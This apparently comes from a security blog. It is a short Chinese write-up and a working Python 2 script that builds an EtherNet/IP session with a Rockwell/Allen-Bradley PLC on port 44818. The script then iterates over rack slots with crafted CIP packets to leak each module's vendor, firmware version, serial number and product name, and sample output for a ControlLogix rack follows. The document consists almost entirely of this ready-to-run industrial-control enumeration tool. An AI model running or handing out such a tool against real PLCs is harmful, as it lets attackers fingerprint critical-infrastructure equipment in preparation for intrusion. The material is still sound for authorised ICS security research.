Rockwell/AB PLC 的ENIP协议经过简单的构造session即可实现正常通信,通过抓取组态软件和PLC通信的数据包,找出读取架子信息的流量,构造遍历架子序号,即可泄露机架上的模块信息。
import socket,time,sys
s = socket.socket()
s.connect((sys.argv[1],44818))
def send(payload):
s.send(payload.decode('hex'))
time.sleep(0.1)
return s.recv(1024)
def print_info(info,name):
print "\n---------------- "+name+" info ----------------\n"
print "vender id : " + info[0:2][::-1].encode("hex")
print "devices type : " + info[2:4][::-1].encode("hex")
print "product code : " + info[4:6][::-1].encode("hex")
print "version : " + str(int(info[6:7].encode("hex"),16))+'.'+str(int(info[7:8].encode("hex"),16))
print "statue : " + info[8:10][::-1].encode("hex")
print "serial number : " + info[10:14][::-1].encode("hex")
print "product name : " + info[15:15+int(info[14:15].encode("hex"),16)]
def slot_info(idx,length):
for i in range(length):
payload = "6f002400"+session+"0000000049340000706824020000000000000000030002000000" + \
"0000b200140052022006240104b606000102200124010100"+str(hex(idx))[2:].zfill(2)+str(hex(i))[2:].zfill(2)
info = send(payload)[44:]
if len(info)< 5: continue
print_info(info,"slot "+str(hex(i)))
def leak():
slot = 0
payload="6f001600"+session+"00000000395c00007068240200000000000000000a00020000000000b2000600010220f42400"
info = send(payload)[44:]
num_instance = int(info[2:4][::-1].encode("hex"),16)
info = info[8:]
for i in range(num_instance+1):
port_type = int(info[i*4:i*4+2][::-1].encode("hex"),16)
port_num = int(info[i*4+2:i*4+4][::-1].encode("hex"),16)
if port_type == 1:
slot += 1
# slot name
payload="6f001600"+session+"000000003a5c00007068240200000000000000000a00020000000000b2000600010220f424"+str(port_num).zfill(2)
print "rack "+str(slot)+" name : "+send(payload)[55:]
# slot number
payload="6f001800"+session+"000000003b5c00007068240200000000000000000a00020000000000b20008000e0320f424"+str(port_num).zfill(2)+"3008"
length = int(send(payload)[46:47].encode("hex"),16)+1
print "rack "+str(slot)+" lenth : " + str(length)
slot_info(slot,length)
payload = '65000400000000000000000000000000000000000000000001000000'
session = send(payload)[4:8].encode("hex")
leak()
用法:
➜ python leak_rockwell.py 192.168.2.1
rack 1 name : Backplane
rack 1 lenth : 7
---------------- slot 0x0 info ----------------
vender id : 0001
devices type : 000e
product code : 005c
version : 30.11
statue : 3160
serial number : 00cc2096
product name : 1756-L71/B LOGIX5571
---------------- slot 0x1 info ----------------
vender id : 0001
devices type : 000c
product code : 00a6
version : 10.7
statue : 0030
serial number : 00d5a561
product name : 1756-EN2T/D
---------------- slot 0x2 info ----------------
vender id : 0001
devices type : 0007
product code : 000b
version : 3.4
statue : 0030
serial number : 00d4b2d7
product name : 1756-IB16/A DCIN
---------------- slot 0x3 info ----------------
vender id : 0001
devices type : 0007
product code : 0011
version : 3.3
statue : 0065
serial number : 00d3a251
product name : 1756-OB32/A DCOUT